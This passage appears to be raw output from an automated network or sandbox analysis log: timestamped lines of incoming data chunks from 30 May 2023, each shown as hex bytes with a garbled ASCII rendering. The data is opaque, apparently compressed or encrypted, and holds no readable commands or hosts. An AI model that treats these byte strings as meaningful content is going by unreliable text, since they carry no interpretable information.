2023-05-30 09:06:51 UTC	161	IN	Data Raw: 11 b9 a5 6f f1 56 20 33 14 a5 8b 57 f2 f9 a0 10 13 17 9b 91 16 43 e7 99 65 da bd b0 b1 21 46 7c 0e 59 13 39 17 aa ba 6b 88 cf 98 98 d1 a6 4c fd a2 9b 50 39 96 77 c0 e4 54 83 95 59 c5 ed 86 c8 3b 72 8c 4f 2c 2c 8d 64 57 2a 34 09 54 3b 7a 00 3e 50 5c 87 9b b9 70 16 6d 6d 17 76 b5 86 9a 66 98 2b 2f 13 3b 50 4c f8 8f e1 6b 92 Data Ascii: oV 3WCe!F\|Y9kLP9wTY;rO,,dW*4T;z>P\pmmvf+/;PLk
2023-05-30 09:06:51 UTC	162	IN	Data Raw: b9 4e ef 82 74 30 ca 42 23 f9 7c a8 18 ff 23 3c 6d 47 4d 98 74 7f 34 f6 8a 44 b2 ad cc d7 ec cc 93 42 ac 7e e5 1a 62 29 d3 a4 03 a8 b1 17 9d d7 65 73 61 9b 32 bc a0 11 28 86 dd a4 a7 ca d0 73 e5 e2 31 37 8c ef 7a 36 f5 94 32 0d a4 b3 4c 5e fb 9b 2e 69 bb b3 e2 b0 60 05 38 16 52 43 db 24 d4 d6 56 7d d3 ca 91 11 99 b6 1f 62 80 71 52 10 be 53 bf f3 83 91 0d c4 56 57 88 4a b9 33 ea cf e9 37 e2 ae 7a 13 50 48 49 22 b2 68 ca 9b 9c b9 89 3d 6a f1 ad e9 25 01 d3 3d c6 1b 18 38 d3 8f 9b 03 7b 72 a1 63 f7 33 c7 b7 78 1d e7 8e 1c 7b 9a 39 80 53 4b cf 6e 21 1b a2 b4 9a 4e ed 2e 3b c9 4e 96 be 54 fc 9e 8c d7 e3 53 10 71 93 41 5d 2d 76 93 29 15 cd cd bf e9 ac f9 f6 63 43 a7 db c7 b6 2c 62 10 ca da 6c ce db ac 97 71 db bc fb 2b be 12 38 7d 6c bc 84 e9 fc 0e 67 8d 8f 71 Data Ascii: Nt0B#\|#<mGMt4DB~b)esa2(s17z62L^.i`8RC$V}bqRSVWJ37zPHI"h=j%=8{rc3x{9SKn!N.;NTSqA]-v)cC,blq+8}lgq
2023-05-30 09:06:51 UTC	163	IN	Data Raw: 9f e8 ef ef f8 ad 58 c9 9e e4 32 b5 a0 d9 eb 60 07 de 3f 60 fa 58 02 1a de d6 2a 98 a3 db c6 bd da 29 fb ba 44 47 e1 31 08 50 ce f8 d5 c1 84 7b ad 4a 7e 35 73 88 50 a9 35 c6 0d 14 15 fd f8 a8 44 c0 31 9e ae 13 e9 9f a6 d9 af c4 68 ed 31 4b 25 8d 63 20 5f 36 35 48 b7 54 f1 18 3f ab 9a 21 e0 cc 1a 54 59 bb 96 51 1c c4 86 4b 27 ba f9 b0 b8 89 15 e6 32 04 fd 0f 97 e2 95 ad 32 b5 43 6e 4d c5 93 3c de b8 ae f8 1d 52 ad 98 d1 66 8b 8a f9 d9 78 a4 e7 36 b3 23 79 a5 23 16 05 08 33 40 10 47 bc 06 86 7d 61 b5 75 ff c2 21 ce 6f 0c c3 23 bd f0 16 83 ab df 75 12 88 68 0d 58 e5 6b 48 03 c1 52 c6 c5 d3 4f 54 0f f6 2a 81 19 20 20 5c f6 8b bc 12 c2 4d 21 83 0c 38 95 78 01 9b 49 e4 e8 db 24 85 8a 5e 3f 7c 22 4a bd da 22 0e 53 12 d4 55 a4 87 c9 7c e5 a8 97 8b 4d 36 a6 00 c6 Data Ascii: X2`?`X)DG1P{J~5sP5D1h1K%c _65HT?!TYQK'22CnM<Rfx6#y#3@G}au!o#uhXkHROT \M!8xI$^?\|"J"SU\|M6
2023-05-30 09:06:51 UTC	164	IN	Data Raw: 6a 50 96 d2 a4 8e b6 03 51 56 83 df c0 9b 3e 34 fc b9 d7 48 74 f7 38 be 63 30 b8 41 88 59 41 35 4a 3b 7c ed 53 32 d2 17 9e 51 02 8a 08 68 62 9e 56 9d e4 23 81 5c 35 52 3f e5 e8 23 a2 91 ac 27 dc 9f 89 ce 99 6b 58 d6 24 24 92 1c 6f 53 94 52 84 47 d4 e4 84 18 3f 00 4d dd c2 b4 69 46 b3 98 4f 5a c7 99 55 21 66 89 2f 24 4d 53 1b a8 45 a6 ba 0e 03 74 5b fd 59 98 be e0 97 b4 6a b3 f2 e1 cc 0a 18 b6 ae 56 df 48 44 fb 7e 5b e1 40 da cb a6 b6 f3 bb 33 ce 65 3b 4e a2 7e 6d 5e 70 f1 f9 f0 7d ab c2 ad fb 9e 9d a8 a8 e1 04 ba bc bb 46 b3 56 e7 c5 2a 20 d9 3c e0 43 84 96 32 8c f4 15 fe 75 5f ad 5d f1 4c e6 ed aa 22 41 95 b7 73 ef 09 f8 81 e1 9d 81 ec 76 03 b7 f9 e8 d9 04 89 df f7 79 c8 ff 9a f3 9a cd a9 7c 27 76 5c 8d 46 3a cb e9 57 db db f2 a5 d2 3f 78 84 5a 7d a2 42 Data Ascii: jPQV>4Ht8c0AYA5J;\|S2QhbV#\5R?#'kX$$oSRG?MiFOZU!f/$MSEt[YjVHD~[@3e;N~m^p}FV* <C2u_]L"Asvy\|'v\F:W?xZ}B
2023-05-30 09:06:51 UTC	165	IN	Data Raw: 94 2d 27 3f 8d 97 7b 39 29 8b fc 11 6e c8 d8 66 36 cc 62 12 a0 40 f8 b9 17 9a 93 05 31 0c ec c6 f1 eb 40 f3 14 1b 86 ff ee 84 fa a2 e0 24 61 9e ad 5d db 8d 57 38 f4 1f 80 e5 10 f7 3f 3b 31 83 93 37 6c 0b 36 54 a5 46 11 a8 6a dc f3 7f bc c6 3c 09 37 85 f6 db 86 48 69 bf 30 52 88 c4 32 9b 0c 35 b9 e9 6d 4b f1 dd 62 64 f0 21 ba 99 6d 85 ee b0 32 2d d5 08 e3 a6 f3 59 b5 8d dc 74 82 6d 34 dc ca 17 d4 d1 9e 42 fb 71 19 a5 3b 34 65 14 8f ff 1e 75 3c 6e cd 05 b4 55 d1 10 19 9a 34 0f 27 85 f7 6f bd e8 e6 e7 ce ff e7 55 5b 8c 6c d7 99 6d 21 4b 9e 70 74 87 dc 3a 57 31 50 15 a8 45 dc ab 22 8f 1e 1e 0e 0a bf 19 29 75 c0 2d fb b0 5c 89 32 bf d9 34 65 e7 fa 94 e0 13 97 ed c1 90 3d 0f 6c ce 55 55 b3 c5 53 6f 05 d1 a3 4c 3b 6a be 63 29 70 72 fc e7 8d 96 ea 74 9e 4e 55 90 Data Ascii: -'?{9)nf6b@1@$a]W8?;17l6TFj<7Hi0R25mKbd!m2-Ytm4Bq;4eu<nU4'oU[lm!Kpt:W1PE")u-\24e=lUUSoL;jc)prtNU
2023-05-30 09:06:51 UTC	166	IN	Data Raw: 3a 25 29 67 2d e4 84 23 6d b0 1c b0 95 05 9c db e7 77 09 b9 38 21 86 37 2f 09 3d a9 08 c6 33 0f 7d 71 ba cd 8d 14 e0 07 1e f7 7b de 0f 26 88 b7 dd 45 d6 83 d1 bb 76 e3 62 d5 4f 7e 50 6e bc 36 f6 5d 67 f6 84 f2 8a 87 b2 3d 30 cd e0 f1 44 c3 b0 56 cd 48 9f 0b bc 39 f2 fd d8 75 6e 58 64 1c 8d f3 55 18 d6 e6 c3 bc 73 12 68 ab d2 e2 ee 0e f3 fa f4 70 cd cb af 7e 31 da 25 cb 43 51 86 4a 89 97 e8 ef 9b 39 a7 f2 ff e9 25 43 9d e3 61 42 16 f1 05 31 9e fa 48 55 4c 1e 10 5a f7 2d 83 a0 de 2b af 36 3e ce 5f 50 a8 e3 71 4f 3d ff 6d 5e 45 ab 72 cd c9 36 62 6b 3f 71 03 02 8a 68 c0 71 b5 82 2d 17 33 67 52 69 ae 6a 9b fe dc 5a 07 b3 c1 b7 41 ac fa dc bc ca 6d 8c 05 a3 fa 80 16 e5 08 21 84 8d c5 56 93 0a 3f 57 dd c9 2c cd d0 53 6c 72 76 b6 9a 57 71 8f f7 88 84 94 1f d3 95 Data Ascii: :%)g-#mw8!7/=3}q{&EvbO~Pn6]g=0DVH9unXdUshp~1%CQJ9%CaB1HULZ-+6>_PqO=m^Er6bk?qhq-3gRijZAm!V?W,SlrvWq
2023-05-30 09:06:51 UTC	168	IN	Data Raw: 47 3d a6 22 10 98 d2 53 c7 3a 4e 64 bc 2e c4 54 62 3b 39 34 83 61 ec b6 06 62 45 d5 72 fa 10 12 f1 38 0b be 06 a5 c1 3d f9 47 0b 52 72 94 ed 9c 71 1b d5 a0 97 4e c5 55 f2 e2 83 da c5 ea c1 03 e1 c4 79 1d 4a 70 0c f6 c1 4f 51 1f 0a 76 fc d2 4f fe 99 02 f9 9f 03 52 a1 67 9e 50 e5 44 55 01 c7 1f 18 a4 94 1c 9b 2a 1c 16 df 9e 14 14 62 c8 51 99 cf 85 9d 7a ba 91 36 58 3e d3 c9 0d 34 42 80 81 09 52 e6 6d 21 10 ff 18 59 d8 ea 07 39 32 0c 57 94 be 14 d4 d1 39 29 d8 c3 ef c8 17 c2 5d 87 cf 60 c6 a5 e5 35 6d 7b f7 e8 4d 68 e6 ce 13 46 a0 f8 d0 ec 1e 85 8b 79 ca 52 1d c3 d9 eb 17 e7 7a 40 a9 27 61 7b 6f 84 9e 08 a1 d6 2d c2 6a 6b 36 c2 e8 c0 16 6a 17 bf 48 70 5a 8b 25 76 5d 5c 0e 50 ef 2d dc 7a ff f1 41 cf 11 43 8b 5b 60 3d da 09 54 03 9e c9 1d bb 48 41 46 06 fc c6 Data Ascii: G="S:Nd.Tb;94abEr8=GRrqNUyJpOQvORgPDU*bQz6X>4BRm!Y92W9)]`5m{MhFyRz@'a{o-jk6jHpZ%v]\P-zAC[`=THAF
2023-05-30 09:06:51 UTC	169	IN	Data Raw: 56 9c 9a 4f 2b 8e 5a a0 8c 66 99 11 ca 16 e1 6c 37 86 ec de 16 79 ed b9 2d 65 73 39 1e 2b 02 bf 06 d9 be 3a 5e c0 49 83 16 2b d5 03 29 4e be 0d 64 9c 48 32 b6 38 53 4c 8d 47 10 ec 7e 59 69 54 ba a1 8f 4f 32 0f 17 4e 48 96 5c fa 07 8b 5d 35 d1 49 0a 0b 5c c4 4e 7e d3 97 c3 f8 ab 3c 77 06 de 45 30 9c c1 1e 1b 57 aa b6 68 0f be ee 5b c6 c4 c0 1e 32 b0 10 e1 43 13 f7 aa 1b e0 de 93 21 92 62 51 16 0a 77 94 ee 01 65 d1 dc 8b e6 df 1d a1 cc f0 19 49 c3 99 b3 03 d5 b6 b0 d9 78 f1 6b 3a 95 2a 2e c8 35 a3 90 7e 0e 6a bc 76 57 3a e6 18 4a 4a 9a 89 1b e9 12 d6 c8 81 aa dc 27 8a 1a 27 43 10 31 78 00 5b 2c 64 c3 49 73 62 5c c2 00 b6 cf 5a b1 6c ff fa aa b5 ed de ba 39 c1 d8 39 4a 05 e9 c1 c2 eb 11 ba 11 46 b5 57 1d 3a f6 e4 ba 84 5a 0a 18 96 5d 49 e6 6e 97 e7 fd f2 6d Data Ascii: VO+Zfl7y-es9+:^I+)NdH28SLG~YiTO2NH\]5I\N~<wE0Wh[2C!bQweIxk:*.5~jvW:JJ''C1x[,dIsb\Zl99JFW:Z]Inm
2023-05-30 09:06:51 UTC	170	IN	Data Raw: 13 8b cd d9 ac 2c ba 31 49 d3 2a de 28 87 2e 02 d3 66 f2 74 c4 bb 5b ac ef d2 55 00 e8 35 55 59 25 d4 84 d5 e5 e3 71 17 91 fa 89 cb 5d ac b5 0f 19 d3 4b 02 bf bd d5 ef e1 53 6a 41 b5 09 a0 28 33 46 7d 95 95 f2 03 34 b5 11 70 ad 61 82 42 e3 d4 6c 45 ad 27 f9 d8 1f 9e ff ad 0e 76 46 e7 50 e2 61 d7 28 f8 3a 17 86 a7 70 f0 d6 8a e0 5b 73 57 5e 98 ec f1 eb 5b 4c 17 3c a7 a6 93 90 a5 a3 4a e7 54 53 7b 62 44 db 2f b7 11 e4 2f 02 3c 8c 9d 52 35 8f 89 ed 25 25 50 78 b9 b4 99 43 f4 26 6b 83 b3 7a 00 94 ed 28 62 00 fd b0 41 fc fc 47 57 f9 17 b4 26 56 a2 2a bd 2b 11 72 46 e2 b6 56 96 aa 69 bd 87 85 94 c6 c3 9a 2c 9e d5 5c 53 74 1e 77 ce 9e e0 fa 75 74 15 fd 5e b0 cc 39 04 92 3e 5e d7 0f 51 70 76 6c 86 37 42 e5 e7 b5 04 28 fd b0 ef 6e fa 39 e5 67 c7 d3 f7 ba 1a 6f 61 Data Ascii: ,1I(.ft[U5UY%q]KSjA(3F}4paBlE'vFPa(:p[sW^[L<JTS{bD//<R5%%PxC&kz(bAGW&V+rFVi,\Stwut^9>^Qpvl7B(n9goa
2023-05-30 09:06:51 UTC	171	IN	Data Raw: b2 d7 a4 49 11 9b 91 e3 09 93 d7 8a 85 c7 4d 4d b3 a0 8c ed 54 df 86 a4 4f 73 01 00 fd 14 f6 56 59 96 f5 5f 47 6a f8 6f 64 48 ef f8 01 8f 62 7e 1b 7b b8 49 a3 30 43 c7 83 15 46 98 79 14 5b 8b 09 79 ca ed ec a8 d2 ff b8 08 4a 1d 91 3b 3a c8 ed 02 0c 49 16 54 a1 dc 3b 18 72 b1 7a ed f4 36 a1 98 91 88 c6 53 26 4b 84 ea 78 53 f4 bf 6b 72 a3 55 02 e1 ef b6 a8 3a 6c dd 40 86 40 96 1c de f9 7a 4f 63 e0 89 1a 7c 86 98 35 e0 71 c2 0f 17 87 b1 9c b8 b1 30 ca a1 d1 16 60 7f 12 01 8d 18 1a 45 77 d6 8e 72 3c c1 14 05 fe f2 63 a0 a6 92 1e ad f6 47 3c f5 0b 59 bc df f8 f1 99 aa 7a 36 a6 45 9c 3c 35 97 3c 97 1f 0c f4 fe 20 14 ef f9 42 17 b7 7a 87 86 67 a6 c1 02 8a c7 13 3f 18 14 a9 dd 50 79 db 7c f5 56 e9 57 6f e8 11 1e 69 0b 01 68 a2 d0 1e d8 4e 3a 66 26 73 d1 47 c3 a6 Data Ascii: IMMTOsVY_GjodHb~{I0CFy[yJ;:IT;rz6S&KxSkrU:l@@zOc\|5q0`Ewr<cG<Yz6E<5< Bzg?Py\|VWoihN:f&sG
2023-05-30 09:06:51 UTC	173	IN	Data Raw: 61 a4 90 ea 9b e6 43 70 08 ef ac 43 95 51 e4 2a 3e d2 aa 33 18 31 68 bf 84 bd 16 ee 3c 38 b2 b0 fa 23 a7 7e c7 ca 1f fa 2d ba a4 42 56 59 4c d0 41 02 72 86 ea 29 7f e0 65 90 46 a3 58 3e 15 bd fe 81 b7 14 fd 97 70 2f a6 dc da f5 2b ba a9 4e bc 89 43 2e 2a 1e 18 4e 39 1d c6 2f 14 85 2e 79 dc 03 81 ea c5 11 57 f9 3e 40 67 33 5b b3 85 22 e7 72 48 f0 45 b0 39 15 99 a5 81 f4 4d 0b 32 e0 9e 44 17 00 36 ea 15 c8 0b 41 cb 35 ee e9 3d 57 ee 92 74 78 24 1e 87 c2 62 f0 3f 87 fa 4d 84 6b d8 e5 8c 79 86 92 15 f4 ad 2e f1 d3 ef 41 eb 51 f9 47 64 70 e4 79 d2 d9 d5 d8 04 ee a9 d3 a4 aa 6c 6a ee 15 92 96 7f a9 46 8d 06 8d 65 7f a3 58 ea b9 ae 20 da b8 ec a6 b9 a4 40 5b d9 e7 ca a5 87 98 f3 12 db f5 00 6c 74 77 54 32 5c 5c 53 5d cc 98 f3 a9 ce e0 34 9f ac a9 da 4d 1b a3 19 Data Ascii: aCpCQ>31h<8#~-BVYLAr)eFX>p/+NC.N9/.yW>@g3["rHE9M2D6A5=Wtx$b?Mky.AQGdpyljFeX @[ltwT2\\S]4M
2023-05-30 09:06:51 UTC	174	IN	Data Raw: 3d 98 86 28 41 76 49 5a be 96 de c1 68 24 20 46 d1 c8 ae a4 59 3e 3c d4 4e 1b 8b ac 48 b3 95 d9 e1 0c b0 a4 fe a7 df 93 ba bc fe 4f ea 23 d8 74 4d 0d e8 b8 23 7a e6 59 4b 84 3e bf c8 41 21 80 6b 15 ca 31 54 cf 92 77 38 d7 d9 e9 28 db 36 56 84 75 43 bf ab 74 aa df 1f 9f 0f 90 44 8a 5b 72 68 a2 6e f1 a9 81 66 c8 79 0f 42 f1 a5 64 d3 a0 c6 c1 d9 2d f9 3b f6 f2 cc bb e2 f3 ee 5e fe fd 32 9c 63 1f 96 72 02 17 6c a8 35 50 1b 43 b6 03 f0 20 67 70 be 65 45 bb da 80 4d e8 1f 4d 11 d4 ff b0 39 57 7e a4 54 6e 8b 84 24 f1 c8 5a 8d 78 c2 75 50 74 51 e9 5a ee fc 52 ae 8d 30 69 e8 b4 c4 6b 62 fb bb 2a 2d f0 b2 85 b5 4c 2f 66 7b 26 a9 5f 28 c0 e5 b4 89 2d 7e 11 d7 ee 6c a2 33 8c 17 51 20 1f 93 87 db 85 ef 21 58 f1 c4 bd f5 b3 3e 7f e1 4d 92 88 6e 2a c9 35 ed b2 1b 12 9e Data Ascii: =(AvIZh$ FY><NHO#tM#zYK>A!k1Tw8(6VuCtD[rhnfyBd-;^2crl5PC gpeEMM9W~Tn$ZxuPtQZR0ikb-L/f{&_(-~l3Q !X>Mn5
2023-05-30 09:06:51 UTC	175	IN	Data Raw: d4 92 2d 93 23 f1 11 b9 c4 9e 27 ff cb 5d 86 e0 26 16 ba 00 d9 c9 4d 2e b0 1f 68 c1 50 a5 07 72 6b 0d a6 e5 c8 68 eb d2 a4 d9 2b f8 c7 00 26 af 6b 20 16 50 33 c5 19 18 c3 7b 86 7f f4 e2 15 dd 3a 45 e5 cf b1 e7 98 43 74 68 b5 6f 71 f5 f6 08 8c 60 4d ae 88 7e 28 86 7e 4c 62 03 6e 01 c0 f8 19 d9 18 d5 97 fa d7 8a 1e 61 1f 7b ed 30 f1 f1 58 cd 15 42 70 72 53 5c b4 90 cc 86 c8 01 5f ee 79 84 6b b3 6e 63 bd cd d9 7b 37 2b 58 e7 6c a4 af 49 ea 67 75 35 ad 98 ff 70 3a 7d e5 a2 44 36 58 c8 57 47 48 35 a8 8d d2 13 52 ff c6 b4 73 26 7f b8 28 81 3e 64 e2 1a f9 df 27 21 df 55 30 ed 6b 5e 5a 09 91 4f 31 13 43 3d cb 77 81 bd 86 ae 8a f8 55 95 9c 85 43 b9 60 91 5f 52 75 6c f9 f9 ea 65 05 60 60 8c d5 0d 38 7e 0c f2 ff 9e e1 1e 31 42 9a de be 3f 53 68 53 8d f6 d6 17 c8 56 Data Ascii: -#']&M.hPrkh+&k P3{:ECthoq`M~(~Lbna{0XBprS\_yknc{7+XlIgu5p:}D6XWGH5Rs&(>d'!U0k^ZO1C=wUC`_Rule``8~1B?ShSV
2023-05-30 09:06:51 UTC	176	IN	Data Raw: d4 60 58 ad ae 7f 75 26 31 02 49 3a f9 30 9d 43 1e 2c 55 cd 3c 49 e5 f1 0e f3 bd e6 e7 77 0c f6 26 b8 08 33 86 13 0a 7d d3 7b 91 5e 9a 59 3c b5 33 52 f0 6e 70 2b f7 40 56 7a a8 86 20 cc 0a 47 ac e4 ad a5 2c 30 4f 6e af 45 59 31 ef e7 96 79 bf 3e ee 51 d4 3c 92 09 02 36 76 12 b0 89 d5 59 5f 75 f6 e1 4f e3 c3 6e ee 7e 82 07 8d af 51 f2 14 ba f3 80 24 00 79 2a 2b a3 95 16 5b fa 8e 74 83 d2 2b 68 e1 85 57 fc a9 be 28 ad 80 55 3e 8b dd 0f b0 e8 b5 eb 10 4d 19 ab 96 21 18 71 49 d1 21 cb 42 ed b1 1a df 7e d9 cb 2a 76 2b 48 8f 7c e0 1f 9d bb 20 9f 4c 82 39 92 9b d6 7d e1 d7 5e d4 08 4f 77 34 0f 9d d0 e4 68 c4 3f b8 10 e2 f0 ed 12 e8 23 89 1f ea 37 15 c5 87 ef 77 5e 1d dd d7 aa dd 56 86 95 8f fc a8 44 9f 78 ea c9 a8 50 c7 79 77 5f d6 32 d4 46 d5 fe 35 4e 27 f8 8a Data Ascii: `Xu&1I:0C,U<Iw&3}{^Y<3Rnp+@Vz G,0OnEY1y>Q<6vY_uOn~Q$y+[t+hW(U>M!qI!B~v+H\| L9}^Ow4h?#7w^VDxPyw_2F5N'
2023-05-30 09:06:51 UTC	177	IN	Data Raw: f5 f0 39 e7 c3 bb 85 f7 91 dd ec f0 54 23 00 5e 40 5a 3e 95 6a a9 cc 94 88 17 b4 bf ae 2f f7 8c cd b0 fa 12 33 94 ec a3 00 96 8a fd f4 a6 47 90 be a5 3a 40 c1 c5 9f ec 1e db 19 50 ef f8 88 5f ca b4 09 5f 2d 6a df 39 63 2c 93 93 48 5f 0c 75 f0 2d 5f 28 7a 7a 1d f9 3d 8b b6 b0 10 35 8b 86 65 60 bd 0a 0e 0a 69 45 5e e2 94 15 Data Ascii: 9T#^@Z>j/3G:@P__-j9c,H_u-_(zz=5e`iE^
2023-05-30 09:06:51 UTC	178	IN	Data Raw: 22 ce 48 98 f1 45 86 98 2b 83 8d 47 2d 77 94 c1 4a 0c 83 6e 57 95 bb 73 c2 85 6b f2 39 1f 81 78 89 0a e2 ff c0 7a 34 66 a1 b0 91 7e 51 f1 3b de 6e bd 8d 58 c8 5e 19 bf c6 a8 03 c6 b8 9a 81 92 62 9f f3 63 cc 15 51 37 9e 4a 19 18 1c b4 14 26 d9 5b 13 d5 0b f5 d8 2a d0 c6 17 6d f1 2a 3c 66 bc 98 92 1b 46 ec 19 36 f6 70 73 3b dc ee 08 42 b9 1e 8f 4b e8 e1 6a 02 48 3e 0f 65 4e 2e 2f 11 6e 81 d7 59 6f 84 6f 42 2d 67 77 fe c0 e4 5f c7 13 58 c1 ef 79 f3 84 c2 57 98 82 7b 16 e2 f6 61 f4 25 74 cb 82 91 5b 1f fa e6 94 65 70 05 e2 99 ef ab 2f 60 7e bb db 48 d7 9f 93 85 7f fd 34 f6 fe f5 be c0 34 57 af b7 02 40 ff fe 2b bb 91 1c f1 17 4b 3f a8 01 af f3 3d c7 00 a0 22 37 bc 10 a5 63 69 d7 88 79 1b 21 fa 58 ca 72 f9 0c e2 f6 1b f2 18 dd cd 56 0c e5 d8 fd f6 ba de ed aa Data Ascii: "HE+G-wJnWsk9xz4f~Q;nX^bcQ7J&[m<fF6ps;BKjH>eN./nYooB-gw_XyW{a%t[ep/`~H44W@+K?="7ciy!XrV
2023-05-30 09:06:51 UTC	179	IN	Data Raw: e7 2d 52 f0 87 89 73 27 fc 2a 47 61 ed 28 89 ca 16 2a 9a ba 50 8c b2 b9 b6 51 1a ff 68 43 d6 a2 9c d5 e0 77 01 58 68 78 ba 02 a9 1d da 0b f5 27 fc 68 a0 f3 e4 27 c5 d5 3e 22 43 88 f3 e2 6c 86 4c 28 57 78 7a 74 5c 10 b8 93 24 ef 69 b5 c6 06 ee b7 eb cd e7 9b e4 cf e7 ef 44 18 52 9c b0 78 62 e8 ff 44 95 93 67 f4 8a 4e c4 f8 4d 7e fb d3 1f a7 4b 30 f1 31 f8 2e 94 6f 9f b5 87 d5 96 19 e8 2f cc 68 7d a0 f8 66 3c 32 f1 1e 62 5b ac 04 7d 1c 14 ba ab ad 84 75 57 f8 fe 8a 9e da a5 85 8c dd 4a fa 57 84 b4 4e c5 5f 17 5c 6d 93 90 39 ac 0b b7 6a 03 fb bc 02 8d dd 3e 27 7f df 05 5e e6 8a b4 8a d4 e8 2d 5c ef 0a 06 67 aa 19 0e 8f 60 07 42 19 02 9b 3e 58 2e 48 df ab 70 db ed 0b 39 f1 32 f2 79 42 63 aa 5e fc ba f4 0e c8 67 e7 47 c4 00 3c 46 e4 75 d6 d9 91 8f 66 38 d8 4e Data Ascii: -Rs'Ga(PQhCwXhx'h'>"ClL(Wxzt\$iDRxbDgNM~K01.o/h}f<2b[}uWJWN_\m9j>'^-\g`B>X.Hp92yBc^gG<Fuf8N
2023-05-30 09:06:51 UTC	180	IN	Data Raw: d1 a8 bd 41 69 39 8c c5 2d 68 e9 c9 2c d4 fe f7 5c 7d b6 a8 c9 65 13 92 32 df 43 07 4d 59 a2 13 8e 21 86 0c 1a 42 0a 29 45 e1 7f 50 b6 57 8f 76 94 08 37 45 0c 34 e1 fb 85 34 12 b2 f2 1c e1 2d 3c 24 5e 20 ed c6 87 05 35 68 24 2c 37 af 22 1b ec fa f8 51 52 b4 2e 38 ca db 84 fb 13 bc d3 6c f1 72 01 30 9b 62 d8 b2 47 21 fc cc ad cb 0f 70 13 5d 3e 55 8a 87 68 57 6f 7e 4c 59 f7 d3 30 da 25 88 81 1a 49 d3 a9 01 e5 40 40 8f 45 63 38 2e 4e 8c 8e 78 8d d0 dc 30 ed 8d ce 72 cc e1 fe 4e ee 84 58 81 ac 6c 7e 7a af 34 d7 9c 3c 84 fd 5f e8 ce 6a a1 ee b7 d1 20 1e 21 d1 18 9d 95 70 01 28 25 96 44 c4 8a 43 cd da dd cd b4 b9 0d 15 43 ad 80 c2 9f da cd 7e 99 d5 56 8f 83 23 e3 25 0c bb 0a 4d 06 66 a4 0e a7 af 93 4b 5e 91 e5 cd 55 47 cb d1 84 65 c8 29 8e 29 c7 0b b9 54 ce 5f Data Ascii: Ai9-h,\}e2CMY!B)EPWv7E44-<$^ 5h$,7"QR.8lr0bG!p]>UhWo~LY0%I@@Ec8.Nx0rNXl~z4<_j !p(%DCC~V#%MfK^UGe))T_
2023-05-30 09:06:51 UTC	181	IN	Data Raw: 0f 91 d0 ff 7f b7 b9 08 cf 6d 4f 43 d4 f5 14 6e c7 95 25 33 26 1b 28 45 7e db 43 dd 96 4c b8 11 a4 8e 76 d2 fe cb 17 1b 9e 29 01 44 5d 3e d3 5b d6 c3 f1 5a 2e c5 1d 49 d8 5d 0e 4e 37 7f e6 98 19 8f 7f 97 a2 d6 4b cf a7 10 27 ad d8 3b 45 a2 76 19 6b 84 66 15 0d 8c bd c4 6d 92 41 1c 1b cb 79 71 b5 c2 4f 5a 11 d7 2e 84 19 15 c5 b6 2c fc 30 c3 f6 60 fc c9 02 5a eb c7 bb cf 97 d1 f7 da 0c 36 6d 53 56 a0 77 45 48 c6 b9 16 0f ec 2e 25 fb 2d d7 5c 7b 2b 06 fe a2 b2 1c 57 55 e9 c3 a2 53 a6 16 60 60 6a 05 3a b8 c6 1b 7d 7b db 64 a1 1b fb 88 6f 78 39 8e 36 af 9a 15 68 ca b3 71 0a bb e2 f5 7c 5f cf b1 d5 64 66 73 a3 0c c3 5e f6 96 bb fa 42 96 92 05 0d f9 09 a3 5f 0b 6e 71 4e 3a 11 7c 5b 37 37 99 bb e5 5d 52 44 71 43 41 30 6b db a2 95 38 49 04 9b 20 4a fa b6 4b 8d 55 Data Ascii: mOCn%3&(E~CLv)D]>[Z.I]N7K';EvkfmAyqOZ.,0`Z6mSVwEH.%-\{+WUS``j:}{dox96hq\|_dfs^B_nqN:\|[77]RDqCA0k8I JKU
2023-05-30 09:06:51 UTC	182	IN	Data Raw: 18 63 18 5b a5 22 fc 40 5c 76 cc 99 ce c5 b6 90 88 dc e3 44 d7 90 f5 0f bd 85 15 81 77 80 11 4c 33 4d 00 7a d9 c1 63 9d 61 95 d1 46 fa 6f bf 2e e2 43 29 d2 53 40 e6 48 d5 c1 dd 62 b9 00 be 57 9b d5 4e 54 21 4d a3 42 d8 c9 a6 14 c9 95 98 49 9e 29 d6 1f c6 c9 96 20 2d 2a 4b cb d2 5c 68 1b 5a f9 46 bc 31 a3 69 7e 9d 5e bb ca 0f f4 a0 a2 d7 07 a1 fd db f0 db 26 1f 96 83 b3 85 8f 0a b7 3d d6 ad 70 0d 28 41 e4 a1 05 76 a0 ee 58 b9 a0 ac 34 08 0a be 13 53 52 63 87 81 59 ec 51 1f f0 b4 af ba 0d f2 d4 ba 6b fa ac 4a ac 17 d6 e9 11 7f 13 7c 59 69 dc d7 7e 78 64 16 c3 91 85 af 9d 08 e5 8b 84 a1 07 34 6a 00 76 70 98 ba 0a 83 f4 33 68 a2 47 9d 2d 49 87 d7 ad ac ee 71 4b 29 5f 43 80 47 79 f8 55 ea ea 6c 64 bb 26 9e 77 de 17 20 19 6e 62 cb 48 b9 50 d1 9f 5b ac 10 6d ec Data Ascii: c["@\vDwL3MzcaFo.C)S@HbWNT!MBI) -*K\hZF1i~^&=p(AvX4SRcYQkJ\|Yi~xd4jvp3hG-IqK)_CGyUld&w nbHP[m
2023-05-30 09:06:51 UTC	184	IN	Data Raw: 77 ca 72 1c c2 60 b1 47 1e 79 75 f9 20 f7 87 b6 af 5e 80 d7 41 8d 05 47 13 ad c4 1f e3 3f 9a 3f 1d f0 7a 59 71 04 62 db 1f 10 fa 1f e7 47 1b c7 bd e6 15 79 d2 5a 6b d7 22 f2 53 35 da 0c b6 61 02 f4 96 22 54 62 87 ba 76 27 d8 87 6a de 0b 4c 0c 36 c5 0b 68 14 3c 30 11 be f5 e6 21 bd fd d1 2b f7 77 8b d3 94 81 20 d1 57 4c 2c a9 56 3a ef 75 cc 6a 5f 88 3d 63 6f e4 fb e9 d3 40 a4 a0 fe e7 1c d0 07 11 7e df 05 5c 20 5b 01 93 55 f2 63 76 b1 c5 2f aa 14 1c d5 9b a2 49 17 48 21 ba c8 74 32 4c ec 33 73 ee 04 fa c9 d0 f9 ab 91 c9 d7 bc 3f 71 65 60 b7 91 b0 d4 c3 03 70 fa e4 a9 f2 56 ba 5e 9a ba 71 d6 4e a1 fd ee 74 99 ca 2d 7a fd 6d 6d be 97 60 b7 b6 b4 f5 47 cf 41 18 74 0a 98 5a 4e d6 80 80 c8 46 71 7e 97 53 1f ca 76 d8 d6 d2 22 cb 3f 02 90 3a aa 08 b8 cc a6 4c f4 Data Ascii: wr`Gyu ^AG??zYqbGyZk"S5a"Tbv'jL6h<0!+w WL,V:uj_=co@~\ [Ucv/IH!t2L3s?qe`pV^qNt-zmm`GAtZNFq~Sv"?:L
